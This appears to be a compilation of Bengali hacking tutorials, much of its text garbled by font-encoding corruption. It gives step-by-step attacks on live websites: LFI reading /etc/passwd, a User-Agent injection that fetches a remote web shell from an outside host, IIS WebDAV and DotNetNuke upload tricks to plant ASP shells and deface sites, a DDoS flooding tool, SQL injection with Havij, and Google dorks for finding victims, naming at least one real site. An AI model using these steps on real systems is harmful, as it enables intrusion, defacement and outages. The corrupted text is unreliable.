এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
